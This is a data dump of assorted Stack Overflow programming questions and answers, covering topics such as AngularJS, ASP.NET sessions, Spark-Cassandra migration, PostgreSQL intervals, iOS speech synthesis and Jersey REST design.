33442426	0	Autocomplete inpud is not detected by $watch angularjs <p>I have a form of addresses which has one input autocomplete from googleMaps. When I select an address, the rest of inputs aumatically is filled. Two of this form are latitude and longitude.</p> <p>I want that when I put an address, the service $watch detect this values and refresh the map.</p> <p>Note: The services $watch detect values if I write in that field, but I want to write address and take this values.</p> <p>My code form addresses:</p> <pre><code> &lt;input vs-google-autocomplete="{ types: ['address'] }" vs-autocomplete-validator="vs-street-address" ng-model="streetNumber[a.count].name" vs-place="streetNumber[a.count].place" vs-place-id="streetNumber[a.count].components.placeId" vs-street-number="streetNumber[a.count].components.streetNumber" vs-street="streetNumber[a.count].components.street" vs-city="streetNumber[a.count].components.city" vs-state="streetNumber[a.count].components.state" vs-country-short="streetNumber[a.count].components.countryCode" vs-country="streetNumber[a.count].components.country" vs-post-code="streetNumber[a.count].components.postCode" vs-latitude="streetNumber[a.count].components.location.lat" vs-longitude="streetNumber[a.count].components.location.long" type="text" name="streetNumber" id="streetNumber" class="form-control" placeholder="Enter full address (street number, street, ...)"&gt; &lt;input type="text" id="user_address_{{ ::address.count }}_latitude" name="user[address][{{ ::address.count }}][latitude]" value="{{streetNumber[a.count].components.location.lat}}" ng-model="latitude" class="form-control"&gt; &lt;input type="text" id="user_address_{{ ::address.count }}_longitude" name="user[address][{{ ::address.count }}][longitude]" ng-model="longitude" value="{{streetNumber[a.count].components.location.long}}" class="form-control"&gt; &lt;ui-gmap-google-map center='map.center' zoom='map.zoom'&gt;&lt;/ui-gmap-google-map&gt; </code></pre> <p>AngularJS:</p> <pre><code>app.controller("testCtrl",function ($scope) { $scope.map = { center: { latitude: 40.37464, longitude: -3.7319700000000466 }, zoom: 16 }; $scope.address = { count: -1 }; $scope.$watch('longitude', function(newLongitude) { alert('newLongitude'); }, true); $scope.$watch('latitude', function(newLatitude) { if (!angular.isUndefined(newLatitude)){ $scope.map['center']['latitude'] = newLatitude; } }, true); }); </code></pre>
22182892	0	best way to determine proximity to location with a list of latlng with Google Map API <p>I'm under a 2-day crunch deadline (my own undoing, I know), and I need to implement a function in Wordpress that searches through a bunch of posts with custom content containing locations in a known field in wp_postmeta, (NOT geocoded) and shows a list of them based on proximity (i.e., within 20 miles) to a specific geocode. </p> <p>I have no problem with the WP query - I'm just a little new to Google Map API, and the docs aren't terribly straightforward with regards to geocoding, which I ASSUME I have to do to determine proximity. </p> <p>Additionally, I assume I'll just have to iterate through the list of each post and determine one at a time if they meet the proximity requirement. </p> <p>I'm not asking for someone to do this for me, unless you w3ant to be paid to do it for me - I just need to be pointed in the right direction quickly. I can;t find ANYONE who knows how to do this - and I have some budget for it...</p>
10807302	0	 <p>You should first introduce the "UserName" to your Session by using </p> <pre><code>HttpContext.Current.Session.Add("UserName", value) </code></pre> <p>in your setter.</p> <pre><code>public class CurrentUser { public static string UserName { get { if (HttpContext.Current.Session["UserName"] != null) return (string)HttpContext.Current.Session["UserName"]; else return null; } set { if (HttpContext.Current.Session["UserName"] == null) HttpContext.Current.Session.Add("UserName", value); else HttpContext.Current.Session["UserName"] = value; } } } </code></pre> <p>After doing that it should work as you wrote.</p>
33220187	0	 <p>I would recommend using Spark for this kind of bulk migration. It's also a useful tool for general maintenance of C*. </p> <p><a href="https://github.com/datastax/spark-cassandra-connector" rel="nofollow">https://github.com/datastax/spark-cassandra-connector</a></p> <p>With spark the command</p> <pre><code>sc.cassandraTable("ks1","table").saveToCassandra("ks2","table") </code></pre> <p>you would move your tables. </p> <p>If you aren't interested in Spark I think a custom java program or Brian Hess's Bulkloader tool would be useful</p> <p><a href="https://github.com/brianmhess/cassandra-loader" rel="nofollow">https://github.com/brianmhess/cassandra-loader</a></p>
37165164	0	 <p>I find out the solution for this</p> <pre><code>$form['field_first_name']['und']['0']['value']['#value'] = 'XXXXX'; $form['field_first_name']['und']['0']['value']['#attributes'] = array('readonly' =&gt; 'readonly'); </code></pre> <p>Try this. Suggest me Ok.</p>
19857210	0	 <p>I found a solution!</p> <pre><code>5 = TEXT 5 { value = hier typolink { parameter.field = pid title.cObject = TEXT title.cObject { data.dataWrap = DB:pages:{field:pid}:title } } } </code></pre>
6592976	0	Difference between Thread and Threadpool <p>Can any one guide me with example about Thread and ThreadPool what is difference between them? which is best to use...? what are the drawback on its</p>
5914626	0	Extracting html tables from website <p>I am trying to use XML, RCurl package to read some html tables of the following URL <a href="http://www.nse-india.com/marketinfo/equities/cmquote.jsp?key=SBINEQN&amp;symbol=SBIN&amp;flag=0&amp;series=EQ#" rel="nofollow">http://www.nse-india.com/marketinfo/equities/cmquote.jsp?key=SBINEQN&amp;symbol=SBIN&amp;flag=0&amp;series=EQ#</a></p> <p>Here is the code I am using </p> <pre><code>library(RCurl) library(XML) options(RCurlOptions = list(useragent = "R")) url &lt;- "http://www.nse-india.com/marketinfo/equities/cmquote.jsp?key=SBINEQN&amp;symbol=SBIN&amp;flag=0&amp;series=EQ#" wp &lt;- getURLContent(url) doc &lt;- htmlParse(wp, asText = TRUE) docName(doc) &lt;- url tmp &lt;- readHTMLTable(doc) ## Required tables tmp[[13]] tmp[[14]] </code></pre> <p>If you look at the tables it has not been able to parse the values from the webpage. I guess this due to some javascipt evaluation happening on the fly. Now if I use "save page as" option in google chrome(it does not work in mozilla) and save the page and then use the above code i am able to read in the values.</p> <p>But is there a work around so that I can read the table of the fly ? It will be great if you can help.</p> <p>Regards,</p>
38948619	0	angular 2 location.go vs window.location.href <p>I understand that location.go will simply change the browser url without reloading the page while window.location.href will reload the page.</p> <p>What I don't understand is there impact on SEO. My site url scheme is defined in a way that parts of url can be in different order for the exact same page. We dont want to have this as google will penalize it assuming it to be duplicate content. I have two approaches to handle this problem - </p> <p>location.go approach is more desirable from user experience point. I can load the page and find the correct url in parallel and simply change the url in browser. But I do not know if search engines also take the input from location.go.</p> <p>Please note that my logic for building unique url is bit complex and require me to go all the way to database. So it makes a considerable difference in performance if I choose location.go vs window.location.href to change the url.</p>
32584318	0	 <p>The Sitecore <code>LinkManager</code> is indeed not so clever. We also experienced this issue with a mix of proxy servers and load balancers. To remove the ports, we have created a custom <code>LinkProvider</code> which removes the port if needed (untested code sample):</p> <pre><code>public class LinkProvider : Sitecore.Links.LinkProvider { public override string GetItemUrl(Item item, UrlOptions options) { var url = base.GetItemUrl(item, options); if (url.StartsWith("https://")) { url = url.Replace(":443", string.Empty); } return url; } } </code></pre> <p>And configure the new <code>LinkProvider</code>:</p> <pre><code>&lt;configuration xmlns:set="http://www.sitecore.net/xmlconfig/set/"&gt; &lt;sitecore&gt; &lt;linkManager defaultProvider="sitecore"&gt; &lt;providers&gt; &lt;add name="sitecore" set:type="Website.LinkProvider, Website" /&gt; &lt;/providers&gt; &lt;/linkManager&gt; &lt;/sitecore&gt; &lt;/configuration&gt; </code></pre>
8694330	0	 <p>You can simplify to:</p> <pre><code>SELECT expire_date - (expire_date - now()) - interval '1 month' FROM "License" WHERE license_id = 10 </code></pre> <p>This is valid without <em>additional</em> brackets because subtractions are evaluated from left to right.<br> <sub>In my first version the one necessary pair of brackets was missing, though.</sub></p> <p>This form of the query also prevents an error in the case that <code>license</code> should not be unique. You would get multiple rows instead. In that case, and if you should need it, add <code>LIMIT 1</code> guarantee a single value.</p> <hr> <p>@Milen diagnosed the cause of the error correctly. Experiment with these statements to see:</p> <pre><code>SELECT interval (interval '1 month'); -- error SELECT (interval '1 month')::interval; -- no error </code></pre> <p>However, the cure is simpler. Just don't add another cast, it is redundant.</p>
23737780	0	 <p>the map-canvas or its parents must have a decent height. Try </p> <pre><code> &lt;div id="map-canvas" style="height:100px;"&gt;&lt;/div&gt; </code></pre> <p>note the <code>px</code> instead of <code>%</code></p>
23629056	0	WinForms and WebService in 1 solution <p>How to have a <code>WinForms</code> app that has a <code>ASP.NET</code> WebSite as part of the <code>Solution</code>.</p> <p>What I would like to do is as my WinForms app start the <code>ASP.NET</code> Service also starts.</p> <p>When the Winforms app closes, I want to shutdown the <code>ASP.NET</code> Service.</p> <p><strong>Main Objective</strong></p> <p>Essentially my objective is to be able to view a Silverlight XAP file in my WinForms BrowserControl.</p> <p>The XAP will not function correctly because of security issues, and it needs to access files (images/videos) from the filesystem.</p>
39891494	0	 <p>If you check PHP Documentation for <code>eval()</code>, this is the description:</p> <blockquote> <p>eval — Evaluate a string as PHP code</p> </blockquote> <p>However, PHP Documentation, itself says that <code>eval</code> is a <em>dangerous</em> construct: Caution</p> <blockquote> <p>The eval() language construct is very dangerous because it allows execution of arbitrary PHP code. Its use thus is discouraged. If you have carefully verified that there is no other option than to use this construct, pay special attention not to pass any user provided data into it without properly validating it beforehand.</p> </blockquote> <p>So, be careful when using <code>eval</code>, very careful. Now back to your question.</p> <p>I think what you need here is a tool that can help you with Syntax checking to detect violations of a defined coding standard. I use ESLint to check violations in Javascript code. For PHP I use both PHPStorm and Sublime Text, and I use PHP Lint and PHPCS. Instead doing eval, I suggest you use one of these OR combination of these tools to achieve you objective.</p> <p>If you are using Jetbrains PHPStorm, you can find these plugins here:</p> <ul> <li><a href="https://www.jetbrains.com/help/phpstorm/2016.2/using-php-code-sniffer-tool.html" rel="nofollow">https://www.jetbrains.com/help/phpstorm/2016.2/using-php-code-sniffer-tool.html</a></li> <li><a href="https://plugins.jetbrains.com/plugin/7887?pr=phpStorm" rel="nofollow">https://plugins.jetbrains.com/plugin/7887?pr=phpStorm</a> I personally prefer to use PHPStorm, it is really among the best PHP IDE out there.</li> </ul> <p>If you prefer to use Sublime, here are the plugins for you: </p> <ul> <li><a href="https://github.com/SublimeLinter/SublimeLinter-php" rel="nofollow">https://github.com/SublimeLinter/SublimeLinter-php</a></li> <li><a href="https://github.com/SublimeLinter/SublimeLinter-phplint" rel="nofollow">https://github.com/SublimeLinter/SublimeLinter-phplint</a></li> <li><a href="https://github.com/benmatselby/sublime-phpcs" rel="nofollow">https://github.com/benmatselby/sublime-phpcs</a></li> </ul> <p>My point is, a good combination of these tools should be enough to ensure sanity of your code.</p> <p>-Thanks</p>
18910280	0	 <p>Try</p> <pre><code>include_once 'simple_html_dom.php'; $oHtml = str_get_html($url); $Title = array_shift($oHtml-&gt;find('title'))-&gt;innertext; $Description = array_shift($oHtml-&gt;find("meta[name='description']"))-&gt;content; $keywords = array_shift($oHtml-&gt;find("meta[name='keywords']"))-&gt;content; echo $title; echo $Description; echo $keywords; </code></pre>
34358625	0	 <p>Correct way to solve this issue is as follows:</p> <pre><code>Template.DoPolls.helpers({ polls: function() { var user = Meteor.userId() return Polls.find({voters: {$ne: user}}); } }); </code></pre> <p>where $ne look over the voters array and if it finds the userId then doesn't show that poll.</p> <p>To achieve the opposite (so only polls where the user has voted the helper would be:</p> <pre><code>Template.PollsDone.helpers({ polls: function() { var user = Meteor.userId() return Polls.find({voters: {$in: [ user ] }}); } }); </code></pre>
7115448	0	Descendant of sibling jquery <p>I have recently switched from using XPath to using jQuery selectors. I am having trouble with a particular XPath selector I would use:</p> <p>//h1[contains(.,'Some Title')]//following::a[1]</p> <p>Basically I get the first link element from a descendant of a sibling.</p> <p>From what I understand jQuery selects descendants as "ancestor descedant" and selects siblings as "sibling + sibling".</p> <p>How do I combine these when I don't care/know what the sibling tag is? (In other words "h1 + ul a" works but I want to leave out the ul if possible"</p>
35712705	0	Unable to hear any output from Text to Speech <p>I am creating my own Codenameone application that uses the Text to Speech functionality in IOS 8. My application uses the same native IOS code as given in the DrSbaitso demo. I can build my application and deploy it to my IPhone successfully, however I am never able to hear any output from the Text to Speech. I have verified that the native interface is getting called, but I cannot hear any sound. Is there something else that needs to be implemented than just the native interface that will call the IOS text to speech functionality? Is there perhaps something I need to enable on my IPhone to use the Text to Speech API? I have listed my native implementation code that I am using.</p> <p>Header:</p> <pre><code>#import &lt;Foundation/Foundation.h&gt; @interface com_testapp_demos_TTSImpl: NSObject { } -(void)say:(NSString*)param; -(BOOL)isSupported; @end </code></pre> <p>Source:</p> <pre><code>#import "com_testapp_demos_TTSImpl.h" #import &lt;AVFoundation/AVFoundation.h&gt; @implementation com_testapp_demos_TTSImpl -(void)say:(NSString*)param{ NSAutoreleasePool *pool = [[NSAutoreleasePool alloc] init]; AVSpeechSynthesisVoice *voice = [AVSpeechSynthesisVoice voiceWithLanguage:@"en-GB"]; AVSpeechUtterance *utterance = [AVSpeechUtterance speechUtteranceWithString:param]; AVSpeechSynthesizer *syn = [[[AVSpeechSynthesizer alloc] init]autorelease]; utterance.rate = 0; utterance.voice = voice; [syn speakUtterance:utterance]; [pool release]; } -(BOOL)isSupported{ return YES; } @end </code></pre>
17922582	0	MKMapRectMake how to zoom out after setup <p>I use <code>MKMapRectMake</code> to mark north east and south west to display a region. Here's how I do that:</p> <pre><code>routeRect = MKMapRectMake(southWestPoint.x, southWestPoint.y, northEastPoint.x - southWestPoint.x, northEastPoint.y - southWestPoint.y); [self.mapView setVisibleMapRect:routeRect]; </code></pre> <p>After I set up this display region, how can I zoom out the map a little? What is the best way to do this?</p> <h2>UPDATE</h2> <p>This is code that I use to get <code>rect</code> for <code>setVisibleMapRect</code> function:</p> <pre><code>for(Path* p in ar) { self.routeLine = nil; self.routeLineView = nil; // while we create the route points, we will also be calculating the bounding box of our route // so we can easily zoom in on it. MKMapPoint northEastPoint; MKMapPoint southWestPoint; // create a c array of points. MKMapPoint* pointArr = malloc(sizeof(CLLocationCoordinate2D) * ar.count); for(int idx = 0; idx &lt; ar.count; idx++) { Path *m_p = [ar objectAtIndex:idx]; [NSCharacterSet characterSetWithCharactersInString:@","]]; CLLocationDegrees latitude = m_p.Latitude; CLLocationDegrees longitude = m_p.Longitude; // create our coordinate and add it to the correct spot in the array CLLocationCoordinate2D coordinate = CLLocationCoordinate2DMake(latitude, longitude); MKMapPoint point = MKMapPointForCoordinate(coordinate); // adjust the bounding box // if it is the first point, just use them, since we have nothing to compare to yet. if (idx == 0) { northEastPoint = point; southWestPoint = point; } else { if (point.x &gt; northEastPoint.x) northEastPoint.x = point.x; if(point.y &gt; northEastPoint.y) northEastPoint.y = point.y; if (point.x &lt; southWestPoint.x) southWestPoint.x = point.x; if (point.y &lt; southWestPoint.y) southWestPoint.y = point.y; } pointArr[idx] = point; } // create the polyline based on the array of points. self.routeLine = [MKPolyline polylineWithPoints:pointArr count:ar.count]; _routeRect = MKMapRectMake(southWestPoint.x, southWestPoint.y, northEastPoint.x - southWestPoint.x, northEastPoint.y - southWestPoint.y); // clear the memory allocated earlier for the points free(pointArr); [self.mapView removeOverlays: self.mapView.overlays]; // add the overlay to the map if (nil != self.routeLine) { [self.mapView addOverlay:self.routeLine]; } // zoom in on the route. [self zoomInOnRoute]; } </code></pre>
34978554	0	Use of Node JS for Frontend <p>I have heard about Node.js being used in the frontend side of the application as opposed to the backend side, but I cannot find any use cases for which it can be used. Can somebody explain the use cases for which Node.js is used in the frontend.</p> <p>Also for a fairly complex system such as a CMS(Content Management System) for an e-commerce site, would Node.js be the right choice?</p> <p>Thanks in advance</p>
29470470	0	alert 2 arrays in same line javascript <p>I have a problem alerting out 2 arrays on same line in Javascript. The user should write Movie name and movie rating(1-5) 5 times, and <code>printMovies()</code> function should print out users (movie)name and (movie)rating in a single line something like this:</p> <pre><code>Movie Rating Star Wars 5 Lord of the Rings 4 Casino 4 Movie4 3 Movie5 2 </code></pre> <p>How do I alert out all of five inputs in a single line (movie + rating) per line, AFTER they have got input from user?</p> <p>//CODE</p> <pre><code>var title; var rating; var a = []; var movies = []; var ratings = []; function buttonAddMovie()//Button onclick { addMovie(title, rating) addMovie(title, rating) addMovie(title, rating) addMovie(title, rating) addMovie(title, rating) } function addMovie(title, rating) { do{ title = prompt("Enter movie: "); } while (title == ""); do { rating = parseInt(prompt("Enter rating 1-5 on movie " + (title))); } while (rating &gt; 5 || rating &lt; 1); movies.push(title);//Pushing title to movies a.push(movies);//Pushing movies to a array ratings.push(rating);//Pushing rating to ratings a.push(ratings);//Pushing ratings to a array printMovies() } function printMovies() { for (var i = 0; i &lt; a.length; i++) { alert(a[0][0] + " " + a[0][1]);//Here is my biggest problem! } } </code></pre>
23569833	0	 <pre><code>$("#output1 &gt; ins,#output1 del").first() </code></pre> <p><a href="http://jsfiddle.net/a6dLH/" rel="nofollow">http://jsfiddle.net/a6dLH/</a></p>
31069895	0	 <p>Modify your reqList select:</p> <pre><code>var reqList = (from p in db.RequestDetail group new { p.PropertyID, p.UnitID , p.Value , p.PropertiesValueID } by p.RequestID into reqG select new RequestDetailViewModel{ PropertyID = reqG.PropertyID, UnitID = reqG.UnitID , Value = reqG.Value , PropertiesValueID = reqG.PropertiesValueID }); </code></pre> <p>Will return <code>List&lt;RequestDetailViewModel&gt;</code></p> <p>Implement <code>IComparable</code> for your <code>RequestDetailViewModel</code> class then use <code>SequenceEqual</code> to compare two lists</p>
10965542	0	Adding one character to string <p>In C++:</p> <p>If I want to add <code>0x01</code> to the string text I would do: <code>text += (char)0x01</code>;</p> <p>If I want to add <code>0x02</code> to the string text I would do: <code>text += (char)0x02</code>;</p> <p>If I want to add <code>0x0i</code> (were <code>i</code> is an unsinged <code>int</code> between 0 and 9), what could I do?</p> <p>EDIT: I probably wasn't quite clear. So by 0x01, I mean the character given in Hex as 01. So in the above if i is the integer (in decimal) say 3, then I would want to add 0x03 (so this is not the character given in decimal as 48 + 3).</p>
27055820	0	Calculating datatable input text value and showing result in a outputtextbox <p>I am new to primefaces. I have a problem and the issue is , i have a inputtextbox inside a datatable and if i enter any value inside a textbox the count should display in a outputTextbox called total. I am not finding any solution. my code is</p> <pre><code>&lt;p:dataTable id="venueNames" var="test" value="#{issueAdmitCardBean.venueNames}" paginator="false" rows="10" styleClass="dataTable" rowIndexVar="index"&gt; &lt;p:column headerText="Id"&gt; &lt;h:outputText value="#{test.id}" /&gt; &lt;/p:column&gt; &lt;p:column headerText="Name Of Venue"&gt; &lt;h:outputText value="#{test.name}" /&gt; &lt;/p:column&gt; &lt;p:column headerText="Maximum Capacity"&gt; &lt;h:outputText value="#{test.capacity}" /&gt; &lt;/p:column&gt; &lt;p:column headerText="Allot No. of Candidates" &gt; &lt;h:inputText value="#{issueAdmitCardBean.venueNames[index].allotCandaidate}" style="width:50px;" onkeyup="doWork(#{test.capacity}, this.value);" required="true"/&gt; &lt;/p:column&gt; &lt;p:column headerText="Exam Date"&gt; &lt;p:calendar value="issueAdmitCardBean.examDate" pattern="dd-MM-yyyy" navigator="true" style="width:10px;"/&gt; &lt;/p:column&gt; &lt;/p:dataTable&gt; </code></pre> <p>I want to display the total right after the datatable . please give any suggestion and help me.Thanks in advance </p>
35016805	0	 <p>Since an empty predicate is true, my favorite implementation of true and false is:</p> <pre><code>pred true {} pred false { not true } </code></pre>
9902604	0	 <blockquote> <p>Should I implement IDisposable? </p> </blockquote> <p>Yes</p> <blockquote> <p>But What happens if the user of my class forgets to call Dispose?</p> </blockquote> <p>you should follow the Disposable pattern as defined here: <a href="http://msdn.microsoft.com/en-us/library/b1yfkh5e.aspx" rel="nofollow">http://msdn.microsoft.com/en-us/library/b1yfkh5e.aspx</a></p>
1518973	0	 <p>When returning the file to the browser, set the mime-type to be "application/x-unknown" - this will cause the browser to ask you to download as it won't know how to handle it.</p> <p>There is the possibility the browser will read the file extension and try and be clever, but there's nothing you can do about this.</p>
6081137	0	 <p>If C# (and C and java, and probably C++), you need to declare <code>_shouldStop</code> and <code>Grab</code> as <code>volatile</code>.</p>
33966107	0	 <p>Just to let you know, Linux is just a kernel, <strong><em>NOT</em></strong> a full operating system. If you expect it to be a full operating system, you will need to also include other things like the GNU Coreutils. Otherwise you'll be left with something almost useless to use and impossible to install on its own.</p> <p>To compile the kernel, you'll need to have an existing install of some flavor of Linux (Ubuntu, Fedora, Arch, etc).</p> <p>Basically, in essence, you get a copy of the Linux code, then you simply run <code>make</code>.</p> <p>This is how Arch Linux builds the Linux kernel: <a href="https://projects.archlinux.org/svntogit/packages.git/tree/trunk/PKGBUILD?h=packages/linux" rel="nofollow">https://projects.archlinux.org/svntogit/packages.git/tree/trunk/PKGBUILD?h=packages/linux</a></p>
3116556	0	 <p>Try copying the form definition code from views/users/login.ctp to your FAQ view. Make sure that the form is named properly so that it points at the Users controller. If you're not sure, look in the book.</p> <p>Then you'll need to redirect to the FAQ page after successful login. If necessary you can define a specific login action for this style of login (say, signin) so that the standard way remains unaltered WRT to login redirect. Include a condition to display the form only when you are not logged in.</p>
28757170	0	How does ejabberd handle really high number of requests <p>How does ejabberd handle really high number of requests. For eg.</p> <ul> <li>I have only 1 instance running.</li> </ul> <p><strong>I am assuming:</strong></p> <ul> <li>Lets take mod_offline.erl for example</li> <li>This module gets started by ejabberd_admin when server is started</li> <li>Using gen_server callbacks.</li> </ul> <p>-- Is there only a single instance of this module running or are there multiple instances of the module running at the same time -- If multiple then how many such instances?</p> <p>I was also curious what needs to be done to write a custom module to be able to handle high number of requests simultaneously.</p> <p>Could you please provide some pointers?</p> <p>I am very new to erlang and ejabberd. Please help me understand how does ejabberd take care of high requests.</p> <p>Best Regards,</p>
18324044	0	 <p>Check out Google Analytics Report Automation using Magic Script - <a href="https://developers.google.com/analytics/solutions/report-automation-magic" rel="nofollow">https://developers.google.com/analytics/solutions/report-automation-magic</a>. As long as you have permission to both accounts you want to pull data from, you can make a dashboard using Google Spreadsheets.</p>
34566973	0	 <p>It means literally in the shape of the Greek letter rho, which is "ρ". The idea is that if you map the values out as a graph, the visual representation forms this shape. You could also think of it as "d" shaped or "p" shaped. But look carefully at the font and notice that the line or stem extends slightly past the loop, while it doesn't on a rho. Rho is a better description of the shape because the loop never exits; i.e., there shouldn't be any lines leading out of the loop. That and mathematicians love Greek letters.</p> <p>You have some number of values which do not repeat; these form a line or the "stem" of the "letter". The values then enter a loop or cycle, forming a circle or the "loop" of the "letter".</p> <p>For example, consider the <a href="https://en.wikipedia.org/wiki/Repeating_decimal" rel="nofollow">repeating decimals</a> 7/12 (0.5833333...) and 3227/55 (5.81441441444...). If you make your sequence the digits in the number, then you can graph these out to form a rho shape. Let's look at 3227/55.</p> <ul> <li>x0 = 5</li> <li>x1 = 8</li> <li>x2 = 1</li> <li>x3 = 4</li> <li>x4 = 4</li> <li>x5 = 1 = x2</li> <li>x6 = 4 = x3</li> <li>x7 = 4 = x4</li> <li>...</li> </ul> <p>You can graph it like so:</p> <pre><code>5 -&gt; 8 -&gt; 1 ^ \ / v 4 &lt;- 4 </code></pre> <p>You can see this forms a "ρ" shape.</p>
25645039	1	Readline() in a loop is not working in python <p>I have a file called <code>file</code> with this text:</p> <pre><code>Hello I am not a bot I am a human Do you believe me? I know you won't Yes I am a bot Yes you thought it right </code></pre> <p>This code prints out all the lines of the text:</p> <pre><code>with open(file) as f: for i in f: print(i,end="") </code></pre> <p>But this code does not, and I don't understand why.</p> <pre><code>with open(file) as f: for i in f: print(f.readline(),end="") </code></pre> <p>This prints out:</p> <pre><code>I am not a bot Do you believe me? Yes I am a bot </code></pre> <p>What I understand is as the loop goes over the lines in the file, it will read that line and return that as a string which is then printed. If I replace the for loop with <code>for i in range(9)</code>, it works.</p>
38978542	0	I am getting a segmentation error in PRIME1 on spoj. How should I eradicate it? <p>My answer to problem <a href="http://www.spoj.com/problems/PRIME1/" rel="nofollow">PRIME1</a> please explain me where am I wrong. I am receiving a segmentation error.</p> <p>here it is:</p> <pre><code> #include&lt;cstdlib&gt; #include&lt;iostream&gt; using namespace std; int main(int argc, char** argv) { int t=0,i=0,m=0,n=0; cin&gt;&gt;t; while(t--&amp;&amp;t&lt;=10) { cin&gt;&gt;m&gt;&gt;n; if(m&gt;=1&amp;&amp;n-m&lt;=100000) { int prime[n]; for(i=0;i&lt;n;i++) prime[i]=1; for (int i=2; i*i&lt;=n; i++) { if (prime[i] == true) { for (int j=i*2; j&lt;=n; j += i) prime[j] = false; } } for (int k=m+1; k&lt;n; k++) if (prime[k]) cout &lt;&lt;k&lt;&lt;endl; } } return 0; } </code></pre>
38221453	0	Managing a nested resource in Jax-RS/Jersey that sometimes should behave as a non-nested resource <p>I am developing simple APIs with Jax-RS Jersey. Let's say I am considering the domain of items sold by stores in some country.</p> <p>My design includes these two calls :</p> <ul> <li>/webapi/items</li> <li>/webapi/store/1/items</li> </ul> <p>Both of them should return a list of items, the first one should return all the items sold in that country, the second one should return only the items sold by store number 1.</p> <p>I have of course two resources, an ItemResource which handles all the requests regarding items, and a StoreResource which handles all requests regarding stores.</p> <pre><code>@Path("items") class ItemResource { @GET public List&lt;Item&gt; getAllItems(){ } </code></pre> <p>.</p> <pre><code>@Path("stores") class StoreResource @GET @Path("/{storeId}/items") public List&lt;Item&gt; getItemsSoldByStore(@PathParam("storeId") long storeId) { } </code></pre> <p>What I would like to do is to pass the second request to the ItemResource, in order to avoid coupling between <code>StoreResource</code> and model class <code>Item</code> or database interfaces (like DAOs) specifically created to manage Items. I know I can consider ItemResource like a sub-resource, or a nested resource of StoreResource, but the point is that this is not always true, since sometimes I would like to call ItemResource without passing a store id, to get all items (this is the case of the first request <a href="http://foo.com/webapi/items" rel="nofollow">http://foo.com/webapi/items</a> ). I'd like to keep the <code>@Path("items")</code> annotation on the <code>ItemResource</code> so it handles every request to /items endpoint. </p> <p>What is the correct design in this situation? Thanks for any help.</p>
19963428	0	 <p>Use Inversion Of Control (IOC) and the Service Locator pattern to create a shared data service they both talk too. I notice your mvvm-light tag; I know a default Mvvm-light project uses a ViewModelLocator class and SimpleIOC so you can register a data service like below.</p> <pre><code>public class ViewModelLocator { static ViewModelLocator() { ServiceLocator.SetLocatorProvider(() =&gt; SimpleIoc.Default); SimpleIoc.Default.Register&lt;IDataService, DataService&gt;(); } } </code></pre> <p>An interface is used so we can swap out the DataService at will and even have a different one for design time. So you will create an interface that defines methods you will use and just make sure your DataService implements them. It is in your DataService implementation you will use the shared context / source.</p> <pre><code>public class DataService: IDataService { //USE SAME SOURCE (example EF) private SharedSourceEntities context; (blah blah)... } </code></pre> <p>After you can inject it into both view models either in the constructor or calling the service locator.</p> <p><strong>Dependency Injection:</strong></p> <pre><code>public class ViewModelOne: ViewModelBase { private readonly IDataService dataService; public ViewModelOne(IDataService dataService) { this.dataService = dataService; } } public class ViewModelTwo: ViewModelBase { private readonly IDataService dataService; public ViewModelTwo(IDataService dataService) { this.dataService = dataService; } } </code></pre> <p><strong>Service location:</strong></p> <pre><code>SimpleIoc.Default.GetInstance&lt;IDataService&gt;(); </code></pre>
25311985	0	trying to run a function within a class <p>I am trying to call a function within my class. But when i try to call it errors out and says "Fatal error: Call to undefined function" even though its defined within my class.</p> <pre><code> function checkArray($day, $array){ foreach ($array as $key =&gt; $value) { if (array_search($day, $value)) return $key; } return false; } </code></pre> <p>And i try to call it like this within another function of the class</p> <pre><code>if(checkArray($i,$events)){ echo $events[checkArray($i,$events)]["short"]; } </code></pre> <p>if i test this code without using a class, it works perfect. But within a class it seems like it doesn't let me call a function that is within a class. I'm kind of new to OOP so i know it might seem like a dumb question.</p>
37966320	0	 <p>1st try/test, changed it into:</p> <pre><code>def purgeOld(): XvbmcEntries = setupXvbmcEntries() for entry in XvbmcEntries: xvbmcaddons = xbmc.translatePath(entry.path) if os.path.exists(xvbmcaddons)==True: for root, dirs, files in os.walk(xvbmcaddons): file_count = 0 file_count += len(files) if file_count &gt; 0: for f in files: try: os.unlink(os.path.join(root, f)) except: pass for d in dirs: try: shutil.rmtree(os.path.join(root, d), ignore_errors=True) except: pass try: shutil.rmtree(xbmc.translatePath(os.path.join('special://home/addons/repository.Blaaat1')), ignore_errors=True) shutil.rmtree(xbmc.translatePath(os.path.join('special://home/addons/repository.Blaaat2')), ignore_errors=True) shutil.rmtree(xbmc.translatePath(os.path.join('special://home/addons/repository.Blaaat3')), ignore_errors=True) dialog.ok("TEST-PURGE", 'we found some orphaned dependencies...','', 'NOTE: a REBOOT is highly recommended!') xbmc.executebuiltin("UpdateLocalAddons") except: pass else: #dialog.ok("Purge test dialog2", "Crap cleaner all done...") pass else: #dialog.ok("Purge test dialog3", "Crap cleaner all done...") pass dialog.ok("Purge dialog DONE!", "everything is as clean as a whistle...") # return </code></pre> <p>This does remove all the folders, but now I have to specify 'what to remove' twice, this does seem a little redundant? (entries are specified in setupXvbmcEntries earlier, now again/extra under try: etc), I assume this can be done prettier, invoke 'xvbmcaddons' again somehowe perhaps?</p>
32168039	0	what is exact difference between Spark Transform in DStream and map.? <p>I am trying to understand transform on Spark DStream in Spark Streaming.</p> <p>I knew that transform in much superlative compared to map, but Can some one give me some real time example or clear example that can differentiate transform and map.? </p>
33066794	0	How to make vim use buffer instead of stdout by default? <p>I searched all over the internet, but didn't find an answer.</p> <p>I found plugin "AsyncCommand", but I don't want to type :AsyncCommand everytime. I just want vim to pipe stdout to a buffer by default.</p> <p>Is it even possible? Do you know any plugin that can do this?</p>
9536120	0	 <p>You can just use</p> <pre><code>var myArrayInJs = &lt;?php echo json_encode($myArray); ?&gt;; </code></pre>
10699434	0	 <ol> <li>Derive from both <code>std::exception</code> and <code>boost::exception</code> <em>virtually</em>: <code>struct ConfigurationException : virtual std::exception, virtual boost::exception</code>.</li> <li>Catch by const reference: <code>catch (const std::exception&amp; e)</code>.</li> <li>Don't put GUI logic in an exception constructor. Put it in an exception handler (i.e. <code>catch</code> block).</li> <li>Consider using <code>error_info</code> to attach additional information (like your title and message).</li> </ol> <p>And in general, be careful when mixing Qt with exceptions.</p>
